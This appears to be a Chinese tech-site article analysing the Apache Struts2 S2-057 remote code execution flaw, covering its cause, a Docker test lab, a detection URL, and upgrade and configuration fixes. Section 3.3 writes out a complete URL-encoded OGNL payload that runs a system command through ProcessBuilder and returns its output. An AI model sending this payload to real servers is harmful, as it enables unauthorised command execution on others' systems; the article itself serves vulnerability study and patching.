如何进行Apache Struts2 S2-057漏洞分析

发布时间:2021-12-28 15:05:18 作者:柒染
来源:亿速云 阅读:186

如何进行Apache Struts2 S2-057漏洞分析

Apache Struts2 是一个广泛使用的开源Java Web应用框架,用于构建企业级Web应用程序。然而,由于其复杂性和广泛的使用,Struts2 也成为了攻击者的主要目标之一。S2-057 是 Struts2 框架中的一个严重安全漏洞,允许攻击者通过构造特定的URL来执行远程代码。本文将详细介绍如何进行Apache Struts2 S2-057漏洞的分析。

1. 漏洞概述

S2-057 漏洞(CVE-2018-11776)是由于Struts2框架在处理URL时未正确验证用户输入,导致攻击者可以通过构造恶意的URL来执行任意代码。该漏洞影响Struts2 2.3至2.3.34版本以及2.5至2.5.16版本。

2. 漏洞原理

S2-057 漏洞的核心问题在于Struts2框架在处理URL时,未对用户输入进行充分的验证和过滤。具体来说,当Struts2应用程序配置了alwaysSelectFullNamespacetrue时,攻击者可以通过构造特定的URL来操纵namespace参数,从而绕过安全机制,执行任意代码。

2.1 漏洞触发条件

2.2 漏洞利用方式

攻击者可以通过构造恶意的URL,将namespace参数设置为包含恶意代码的字符串。当Struts2框架处理该URL时,会错误地将恶意代码解析为可执行的命令,从而导致远程代码执行。

3. 漏洞分析

3.1 环境搭建

为了分析S2-057漏洞,首先需要搭建一个受影响的Struts2环境。可以使用Docker快速搭建一个Struts2 2.5.16版本的测试环境。

docker pull vulfocus/struts2-s2-057
docker run -d -p 8080:8080 vulfocus/struts2-s2-057

3.2 漏洞验证

通过访问以下URL,可以验证目标是否存在S2-057漏洞:

http://localhost:8080/struts2-showcase/${(111+111)}/actionChain1.action

如果页面返回222,则说明目标存在S2-057漏洞。

3.3 漏洞利用

利用S2-057漏洞执行任意代码,可以通过构造如下URL:

http://localhost:8080/struts2-showcase/$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28%22whoami%22%29%29.start%28%29%2c%23b%3d%23a.getInputStream%28%29%2c%23c%3dnew%20java.io.InputStreamReader%28%23b%29%2c%23d%3dnew%20java.io.BufferedReader%28%23c%29%2c%23e%3dnew%20char%5b50000%5d%2c%23d.read%28%23e%29%2c%23f%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2c%23f.getWriter%28%29.println%28%23e%29%2c%23f.getWriter%28%29.flush%28%29%2c%23f.getWriter%28%29.close%28%29%7D/actionChain1.action

该URL会执行whoami命令,并将结果返回给攻击者。

4. 漏洞修复

为了防止S2-057漏洞的利用,建议采取以下措施:

  1. 升级Struts2版本:将Struts2升级到2.3.35或2.5.17及以上版本,这些版本已经修复了S2-057漏洞。
  2. 禁用alwaysSelectFullNamespace:如果不需要使用alwaysSelectFullNamespace功能,建议将其禁用。
  3. 输入验证:对用户输入进行严格的验证和过滤,防止恶意输入被解析为可执行代码。

5. 总结

S2-057漏洞是一个严重的远程代码执行漏洞,影响广泛使用的Struts2框架。通过本文的分析,我们了解了该漏洞的原理、触发条件以及利用方式。为了防止该漏洞的利用,建议及时升级Struts2版本,并采取必要的安全措施。

参考

推荐阅读:
  1. 如何进行Struts2 if标签的数据比较
  2. 怎么进行Apache Struts2--048远程代码执行漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2 ognl

上一篇:如何用spring源码剖析spring bean循环依赖

下一篇:mysql表如何加注释

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》